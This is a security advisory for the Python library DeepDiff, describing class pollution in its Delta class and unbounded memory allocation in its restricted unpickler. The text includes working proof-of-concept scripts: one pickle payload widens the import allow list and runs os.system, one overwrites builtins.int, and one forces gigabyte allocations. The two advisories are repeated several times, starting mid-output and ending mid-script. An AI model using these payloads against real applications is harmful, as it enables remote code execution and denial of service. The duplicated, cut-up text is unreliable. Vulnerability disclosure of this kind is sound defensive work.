Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
